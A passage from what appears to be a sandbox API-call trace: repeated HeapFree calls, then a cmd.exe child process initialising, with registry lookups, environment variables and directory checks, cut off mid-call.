dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.951] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.865] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.893] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.915] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.947] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.970] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0154.972] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0155.004] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0155.006] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0155.025] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0155.027] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0155.029] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0155.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0155.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0155.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0155.185] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.261] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.300] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.306] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.573] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.576] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.579] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.625] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.780] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.782] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.785] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.788] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.790] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.794] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.804] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.807] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.808] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.831] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.834] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.836] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.839] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.846] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.849] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.853] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.855] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.858] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.858] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.859] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.859] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.859] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.859] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.932] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.932] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0155.932] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0156.020] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0156.060] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0156.060] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0156.061] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 Thread: id = 870 os_tid = 0x1cf4 Thread: id = 871 os_tid = 0x1cfc Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0xe13000" os_pid = "0x1be4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x794" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 843 os_tid = 0x1be8 [0128.606] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff72b9b0000 [0128.606] __set_app_type (_Type=0x1) [0128.606] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff72b9c6d00) returned 0x0 [0128.606] __getmainargs (in: _Argc=0x7ff72b9e9200, _Argv=0x7ff72b9e9208, _Env=0x7ff72b9e9210, _DoWildCard=0, _StartInfo=0x7ff72b9e921c | out: _Argc=0x7ff72b9e9200, _Argv=0x7ff72b9e9208, _Env=0x7ff72b9e9210) returned 0 [0128.607] _onexit (_Func=0x7ff72b9c7fd0) returned 0x7ff72b9c7fd0 [0128.607] _onexit (_Func=0x7ff72b9c7fe0) returned 0x7ff72b9c7fe0 [0128.607] _onexit (_Func=0x7ff72b9c7ff0) returned 0x7ff72b9c7ff0 [0128.607] _onexit (_Func=0x7ff72b9c8000) returned 0x7ff72b9c8000 [0128.607] _onexit (_Func=0x7ff72b9c8010) returned 0x7ff72b9c8010 [0128.608] _onexit (_Func=0x7ff72b9c8020) returned 0x7ff72b9c8020 [0128.608] GetCurrentThreadId () returned 0x1be8 [0128.608] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1be8) returned 0x70 [0128.608] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0128.608] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0128.608] SetThreadUILanguage (LangId=0x0) returned 0x409 [0128.891] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0128.891] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xa1288ffa08 | out: phkResult=0xa1288ffa08*=0x0) returned 0x2 [0128.891] VirtualQuery (in: lpAddress=0xa1288ff9f4, lpBuffer=0xa1288ff970, dwLength=0x30 | out: lpBuffer=0xa1288ff970*(BaseAddress=0xa1288ff000, AllocationBase=0xa128800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0128.891] VirtualQuery (in: lpAddress=0xa128800000, lpBuffer=0xa1288ff970, dwLength=0x30 | out: lpBuffer=0xa1288ff970*(BaseAddress=0xa128800000, AllocationBase=0xa128800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0128.891] VirtualQuery (in: lpAddress=0xa128801000, lpBuffer=0xa1288ff970, dwLength=0x30 | out: lpBuffer=0xa1288ff970*(BaseAddress=0xa128801000, AllocationBase=0xa128800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0128.891] VirtualQuery (in: lpAddress=0xa128804000, lpBuffer=0xa1288ff970, dwLength=0x30 | out: lpBuffer=0xa1288ff970*(BaseAddress=0xa128804000, AllocationBase=0xa128800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0128.891] VirtualQuery (in: lpAddress=0xa128900000, lpBuffer=0xa1288ff970, dwLength=0x30 | out: lpBuffer=0xa1288ff970*(BaseAddress=0xa128900000, AllocationBase=0xa128900000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0128.891] GetConsoleOutputCP () returned 0x1b5 [0128.909] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff72b9efbb0 | out: lpCPInfo=0x7ff72b9efbb0) returned 1 [0128.909] SetConsoleCtrlHandler (HandlerRoutine=0x7ff72b9d8150, Add=1) returned 1 [0128.909] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0128.909] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff72b9efc04 | out: lpMode=0x7ff72b9efc04) returned 0 [0128.909] _get_osfhandle (_FileHandle=0) returned 0xf94 [0128.909] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff72b9efc00 | out: lpMode=0x7ff72b9efc00) returned 0 [0128.909] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0128.909] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0128.909] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0128.909] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff72b9efc08 | out: lpMode=0x7ff72b9efc08) returned 0 [0128.909] _get_osfhandle (_FileHandle=0) returned 0xf94 [0128.909] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff72b9efc0c | out: lpMode=0x7ff72b9efc0c) returned 0 [0128.909] GetEnvironmentStringsW () returned 0x1d64a975a10* [0128.910] GetProcessHeap () returned 0x1d64a970000 [0128.910] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xa7c) returned 0x1d64a9764a0 [0128.910] FreeEnvironmentStringsA (penv="A") returned 1 [0128.910] GetProcessHeap () returned 0x1d64a970000 [0128.910] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x8) returned 0x1d64a976f30 [0128.910] GetEnvironmentStringsW () returned 0x1d64a975a10* [0128.910] GetProcessHeap () returned 0x1d64a970000 [0128.910] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xa7c) returned 0x1d64a976f50 [0128.910] FreeEnvironmentStringsA (penv="A") returned 1 [0128.910] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa1288fe8b8 | out: phkResult=0xa1288fe8b8*=0x7c) returned 0x0 [0128.910] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x0, lpData=0xa1288fe8d0*=0x4, lpcbData=0xa1288fe8b4*=0x1000) returned 0x2 [0128.910] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x4, lpData=0xa1288fe8d0*=0x1, lpcbData=0xa1288fe8b4*=0x4) returned 0x0 [0128.910] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x0, lpData=0xa1288fe8d0*=0x1, lpcbData=0xa1288fe8b4*=0x1000) returned 0x2 [0128.910] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x4, lpData=0xa1288fe8d0*=0x0, lpcbData=0xa1288fe8b4*=0x4) returned 0x0 [0128.910] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x4, lpData=0xa1288fe8d0*=0x40, lpcbData=0xa1288fe8b4*=0x4) returned 0x0 [0128.910] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x4, lpData=0xa1288fe8d0*=0x40, lpcbData=0xa1288fe8b4*=0x4) returned 0x0 [0128.910] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x0, lpData=0xa1288fe8d0*=0x40, lpcbData=0xa1288fe8b4*=0x1000) returned 0x2 [0128.910] RegCloseKey (hKey=0x7c) returned 0x0 [0128.911] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa1288fe8b8 | out: phkResult=0xa1288fe8b8*=0x7c) returned 0x0 [0128.911] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x0, lpData=0xa1288fe8d0*=0x40, lpcbData=0xa1288fe8b4*=0x1000) returned 0x2 [0128.911] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x4, lpData=0xa1288fe8d0*=0x1, lpcbData=0xa1288fe8b4*=0x4) returned 0x0 [0128.911] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x0, lpData=0xa1288fe8d0*=0x1, lpcbData=0xa1288fe8b4*=0x1000) returned 0x2 [0128.911] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x4, lpData=0xa1288fe8d0*=0x0, lpcbData=0xa1288fe8b4*=0x4) returned 0x0 [0128.911] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x4, lpData=0xa1288fe8d0*=0x9, lpcbData=0xa1288fe8b4*=0x4) returned 0x0 [0128.911] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x4, lpData=0xa1288fe8d0*=0x9, lpcbData=0xa1288fe8b4*=0x4) returned 0x0 [0128.911] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa1288fe8b0, lpData=0xa1288fe8d0, lpcbData=0xa1288fe8b4*=0x1000 | out: lpType=0xa1288fe8b0*=0x0, lpData=0xa1288fe8d0*=0x9, lpcbData=0xa1288fe8b4*=0x1000) returned 0x2 [0128.911] RegCloseKey (hKey=0x7c) returned 0x0 [0128.911] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccc330b [0128.911] srand (_Seed=0x5ccc330b) [0128.911] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0128.911] malloc (_Size=0x4000) returned 0x1d64ab654f0 [0128.911] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0128.911] malloc (_Size=0xffce) returned 0x1d64ab70080 [0128.912] ??_V@YAXPEAX@Z () returned 0x1d64ab70080 [0128.912] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d64ab70080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0128.912] malloc (_Size=0xffce) returned 0x1d64ab80060 [0128.913] ??_V@YAXPEAX@Z () returned 0x1d64ab80060 [0128.913] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d64ab80060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0128.914] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0128.914] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0128.914] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0128.914] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0128.914] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0128.914] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0128.914] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0128.914] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0128.914] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0128.914] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0128.914] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0128.915] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0128.915] GetProcessHeap () returned 0x1d64a970000 [0128.915] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a9764a0) returned 1 [0128.915] GetEnvironmentStringsW () returned 0x1d64a975a10* [0128.915] GetProcessHeap () returned 0x1d64a970000 [0128.915] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xa94) returned 0x1d64a977a10 [0128.915] FreeEnvironmentStringsA (penv="A") returned 1 [0128.915] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0128.915] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0128.915] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0128.915] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0128.915] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0128.915] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0128.915] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0128.915] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0128.915] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0128.915] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0128.915] malloc (_Size=0xffce) returned 0x1d64ab90040 [0128.916] ??_V@YAXPEAX@Z () returned 0x1d64ab90040 [0128.916] GetProcessHeap () returned 0x1d64a970000 [0128.916] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x40) returned 0x1d64a9784b0 [0128.916] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d64ab90040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0128.916] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1d64ab90040, lpFilePart=0xa1288ff430 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xa1288ff430*="Desktop") returned 0x17 [0128.917] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0129.202] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xa1288ff160 | out: lpFindFileData=0xa1288ff160*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1d64a978500 [0129.223] FindClose (in: hFindFile=0x1d64a978500 | out: hFindFile=0x1d64a978500) returned 1 [0129.223] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xa1288ff160 | out: lpFindFileData=0xa1288ff160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1d64a978500 [0129.223] FindClose (in: hFindFile=0x1d64a978500 | out: hFindFile=0x1d64a978500) returned 1 [0129.223] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xa1288ff160 | out: lpFindFileData=0xa1288ff160*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1770c093, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x1770c093, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1d64a978500 [0129.223] FindClose (in: hFindFile=0x1d64a978500 | out: hFindFile=0x1d64a978500) returned 1 [0129.223] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0129.224] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0129.224] SetEnvironmentVariableW (lpName="=C:", 